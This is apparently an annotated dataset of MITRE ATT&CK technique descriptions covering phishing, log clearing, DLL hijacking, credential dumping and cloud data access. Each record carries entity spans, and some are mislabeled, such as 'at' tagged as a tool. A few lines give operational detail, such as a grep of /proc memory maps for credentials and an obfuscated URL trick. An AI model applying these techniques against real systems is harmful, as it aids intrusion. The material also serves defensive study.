{"text": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\"). URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to Steal Application Access Tokens that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications. These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.", "spans": {"TOOL: at": [[599, 601]], "DOMAIN: google.com": [[1648, 1658]], "SYSTEM: Access": [[1781, 1787]], "SYSTEM: API": [[2152, 2155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566.002"}}
{"text": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs", "spans": {"SYSTEM: macOS": [[68, 73]], "SYSTEM: Linux": [[78, 83]], "FILEPATH: /var/log/": [[217, 226]], "FILEPATH: /var/log/messages:": [[336, 354]], "FILEPATH: /var/log/secure": [[407, 422]], "FILEPATH: /var/log/auth.log": [[439, 456]], "FILEPATH: /var/log/utmp": [[493, 506]], "FILEPATH: /var/log/wtmp": [[523, 536]], "FILEPATH: /var/log/kern.log": [[567, 584]], "FILEPATH: /var/log/cron.log": [[613, 630]], "FILEPATH: /var/log/maillog": [[658, 674]], "FILEPATH: /var/log/httpd/": [[708, 723]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1070.002"}}
{"text": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.  Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1499.004"}}
{"text": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page. These persistence mechanisms can work within Outlook or be used through Office 365.", "spans": {"SYSTEM: Microsoft Office": [[25, 41], [95, 111]], "SYSTEM: Windows": [[152, 159]], "SYSTEM: Office": [[266, 272], [297, 303], [362, 368]], "SYSTEM: Outlook": [[445, 452], [503, 510], [585, 592]], "SYSTEM: Office 365": [[612, 622]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1137"}}
{"text": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.  The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.", "spans": {"TOOL: InstallUtil": [[20, 31], [94, 105], [269, 280], [439, 450], [520, 531], [545, 556]], "SYSTEM: Windows": [[77, 84], [371, 378]], "SYSTEM: .NET": [[249, 253], [349, 353]], "ORGANIZATION: Microsoft": [[320, 329]], "FILEPATH: C:\\Windows\\Microsoft.NET\\Framework\\v": [[393, 429]], "FILEPATH: C:\\Windows\\Microsoft.NET\\Framework64\\v": [[472, 510]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.004"}}
{"text": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie.\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly  to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"TOOL: at": [[608, 610]], "DOMAIN: google.com": [[1274, 1284]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1598.003"}}
{"text": "Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., SSH Authorized Keys).", "spans": {"SYSTEM: SSH": [[83, 86], [152, 155], [281, 284], [371, 374], [479, 482], [799, 802]], "SYSTEM: Linux": [[246, 251]], "SYSTEM: macOS": [[256, 261]], "TOOL: cmd": [[434, 437]], "TOOL: ssh": [[453, 456]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.004"}}
{"text": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments. With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n \n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.", "spans": {"SYSTEM: Office 365": [[251, 261]], "SYSTEM: AWS": [[770, 773]], "SYSTEM: API": [[886, 889], [968, 971]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.003"}}
{"text": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver</code> Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory. After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", "spans": {"TOOL: at": [[326, 328]], "SYSTEM: API": [[416, 419], [1006, 1009]], "FILEPATH: \\\\[CurrentControlSet": [[605, 625]], "FILEPATH: \\\\[Windows": [[670, 680]], "SYSTEM: Windows": [[701, 708]], "FILEPATH: \\\\[user": [[730, 737]], "SYSTEM: Registry": [[761, 769]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1547.012"}}
{"text": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "spans": {"TOOL: at": [[399, 401]], "SYSTEM: Microsoft Office": [[723, 739]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1566.001"}}
{"text": "Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.008"}}
{"text": "Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as  Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.", "spans": {"SYSTEM: Windows": [[24, 31], [155, 162]], "SYSTEM: Component Object Model": [[32, 54], [532, 554]], "SYSTEM: COM": [[56, 59], [87, 90], [321, 324], [463, 466], [572, 575], [736, 739]], "SYSTEM: API": [[198, 201]], "SYSTEM: DCOM": [[556, 560]], "SYSTEM: Java": [[703, 707]], "SYSTEM: Visual Basic": [[713, 725]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1559.001"}}
{"text": "Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n### DLL Sideloading\nAdversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions.  Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior.  Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. \n\n### DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.\n\n### DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.\n\n### Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\n### DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.", "spans": {"SYSTEM: Windows": [[1933, 1940], [2234, 2241]], "SYSTEM: Registry": [[2438, 2446]], "TOOL: at": [[3374, 3376], [3474, 3476]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.001"}}
{"text": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.", "spans": {"TOOL: at": [[305, 307]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1119"}}
{"text": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using <code>clip.exe</code> or <code>Get-Clipboard</code>. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).\n\nmacOS and Linux also have commands, such as <code>pbpaste</code>, to grab clipboard contents.", "spans": {"SYSTEM: Windows": [[134, 141]], "SYSTEM: macOS": [[366, 371]], "SYSTEM: Linux": [[376, 381]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1115"}}
{"text": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process’s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process’s virtual address space.\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "spans": {"SYSTEM: Linux": [[166, 171]], "FILEPATH: /proc/": [[234, 240], [333, 339], [676, 682]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.007"}}
{"text": "Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks. Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks – consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices – to serve as a botnet. \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale Phishing or Distributed Denial of Service (DDoS). Acquired botnets may also be used to support Command and Control activity, such as Hide Infrastructure through an established Proxy network.", "spans": {"SYSTEM: SOHO": [[605, 609]], "TOOL: at": [[696, 698]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.005"}}
{"text": "Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access.\n Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.", "spans": {"SYSTEM: Access": [[632, 638]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1555.005"}}
{"text": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.", "spans": {"SYSTEM: Gatekeeper": [[51, 61], [130, 140], [270, 280], [437, 447], [872, 882], [949, 959], [1091, 1101], [1269, 1279], [1401, 1411], [1732, 1742], [2077, 2087]], "ORGANIZATION: Apple": [[187, 192], [1322, 1327], [1427, 1432]], "TOOL: top": [[294, 297]], "DOMAIN: api.apple-cloudkit.com": [[1372, 1394]], "SYSTEM: API": [[1396, 1399]], "SYSTEM: macOS": [[1880, 1885]], "TOOL: curl": [[2268, 2272]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.001"}}
{"text": "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux. \n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs – for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`,  `ListFileInGuest`, and `InitiateFileTransferFromGuest`. This may enable follow-on behaviors on the guest VMs, such as File and Directory Discovery, Data from Local System, or OS Credential Dumping.", "spans": {"SYSTEM: VMware": [[195, 201]], "SYSTEM: Windows": [[325, 332]], "SYSTEM: macOS": [[383, 388]], "SYSTEM: Linux": [[409, 414]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1675"}}
{"text": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.", "spans": {"SYSTEM: Access": [[480, 486]], "SYSTEM: JavaScript": [[879, 889]], "TOOL: top": [[1982, 1985]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1608.004"}}
{"text": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>. Adversaries may also gather information about schedule tasks via commands such as `schtasks` on Windows or `crontab -l` on Linux and macOS.\n\nAdversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "spans": {"TOOL: tasklist": [[212, 220]], "TOOL: schtasks": [[384, 392]], "SYSTEM: Windows": [[397, 404]], "TOOL: crontab": [[409, 416]], "SYSTEM: Linux": [[424, 429]], "SYSTEM: macOS": [[434, 439]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1007"}}
{"text": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning and SMB Relay, can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities. Adversaries may likely also utilize network sniffing during Adversary-in-the-Middle (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic. The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.\n\nOn network devices, adversaries may perform network captures using Network Device CLI commands such as `monitor capture`.", "spans": {"SYSTEM: SMB": [[679, 682]], "SYSTEM: AWS": [[1368, 1371]], "SYSTEM: GCP": [[1391, 1394]], "SYSTEM: Azure": [[1417, 1422]], "SYSTEM: TLS": [[1613, 1616]], "TOOL: at": [[1629, 1631]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1040"}}
{"text": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.  The certificates used during an operation may be created, acquired, or stolen by the adversary.   Unlike Invalid Code Signature, this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. \n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.", "spans": {"SYSTEM: Windows": [[480, 487]], "SYSTEM: macOS": [[492, 497]], "SYSTEM: Linux": [[525, 530]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1553.002"}}
{"text": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the Cloud API. In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., Data from Information Repositories). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem. There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.", "spans": {"ORGANIZATION: Amazon": [[124, 130]], "SYSTEM: S3": [[131, 133]], "SYSTEM: Azure": [[135, 140]], "SYSTEM: Google Cloud": [[154, 166]], "SYSTEM: Office 365": [[221, 231]], "SYSTEM: Google Workspace": [[236, 252]], "SYSTEM: OneDrive": [[324, 332]], "SYSTEM: Google Drive": [[337, 349]], "SYSTEM: Slack": [[392, 397]], "SYSTEM: Confluence": [[399, 409]], "SYSTEM: Dropbox": [[427, 434]], "SYSTEM: Elasticsearch": [[633, 646]], "SYSTEM: API": [[770, 773]], "SYSTEM: Access": [[1475, 1481]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1530"}}
